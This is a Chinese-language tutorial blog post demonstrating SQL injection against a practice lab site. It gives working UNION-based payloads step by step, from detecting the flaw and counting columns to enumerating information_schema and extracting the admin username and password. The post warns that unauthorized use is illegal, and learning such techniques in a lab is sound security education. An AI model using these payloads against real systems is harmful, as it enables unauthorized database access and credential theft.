网站安全漏洞之体验SQL注入 | 青训营

202 阅读4分钟

前言

SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。

这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

SQL注入的产生需要满足以下两个条件

1、参数用户可控:前端传给后端的参数用户可控。

2、参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库中查询。

多言无益,我们拿真实的案例来说话。以下操作以某靶场为例,大家可以跟着试一试。请注意,在现实中使用这样的技术来攻击未经授权的目标是违法的。正规的安全测试应该在授权的环境中进行。

SQL注入得到管理员账号密码示例:

目标url: pu2lh35s.ia.aqlab.cn/?id=1

image.png

第一步,判断是否存在sql注入漏洞

构造 ?id=1 and 1=1,回车, 页面返回正常。

image.png 构造 ?id=1 and 1=2,回车, 页面返回不正常。初步判断可能存在一个注入漏洞。

image.png

第二步,判断字段数

在进行基于SQL注入的攻击时,"字段数"(Number of Columns)指的是查询语句的结果集中的列数。在这种情况下,攻击者试图确定目标数据库中某个表的列数,以便进行后续的注入操作。

通过构造不同的SQL查询语句"?id=1 and 1=1 order by 1" "?id=1 and 1=1 order by 2" "?id=1 and 1=1 order by 3",你可以观察到页面的行为变化。当查询的列数等于2时,页面正常显示;但当查询的列数变为3时,页面不再正常。因此,可以判断出数据库表的列数为2。

判断数据库表的列数对于进一步的注入攻击非常重要。在进行UNION注入等类型的攻击时,你需要知道目标表的列数,以便构造合适的UNION查询,将恶意数据注入到正确的位置。

总之,判断字段数是SQL注入攻击的一部分,它帮助攻击者理解目标数据库的结构,并为后续的攻击步骤提供必要的信息。

第三步,确认回显点

在Web应用程序的安全测试中,"回显点"(Echo Point)是指攻击者可以在应用程序的输出中看到他们所插入的内容的位置。换句话说,如果攻击者能够在网页或应用程序的响应中看到他们插入的代码、脚本或数据,那么这个位置就被称为回显点。这通常与注入攻击(比如SQL注入、XSS等)有关。当应用程序将数据库查询的结果或其他数据显示在前端页面上时,如果没有适当地处理输出,恶意数据就可能在页面上执行。

我们可以构造一个SQL注入的测试语句?id=1 and 1=2 union select 1,2,并在页面上成功地看到了数字 2。这表明在这个页面的输出中,数字 2 处显示了你构造的查询结果,而不是正常的页面内容。因此,这个数字 2 就是一个回显点。

image.png

第四步:查询相关内容

查询数据库名

?id=1 and 1=2 union select 1,database()

image.png

查询表名

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

image.png

绝大数情况下,管理员的账号密码都在admin表里

查询字段名

  1. ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
  2. ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
  3. ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1 执行这三条可以在回显点查出 admin 表里 有id、username、password三个字段。

查询字段内容

?id=1 and 1=2 union select 1,username from admin  limit 0,1

image.png

当构造?id=1 and 1=2 union select 1,username from admin  limit 1,1时没有回显,说明只有一个用户

查询管理员密码:?id=1 and 1=2 union select 1,password from admin  limit 0,1

image.png

至此我们得到了管理员的账号和密码!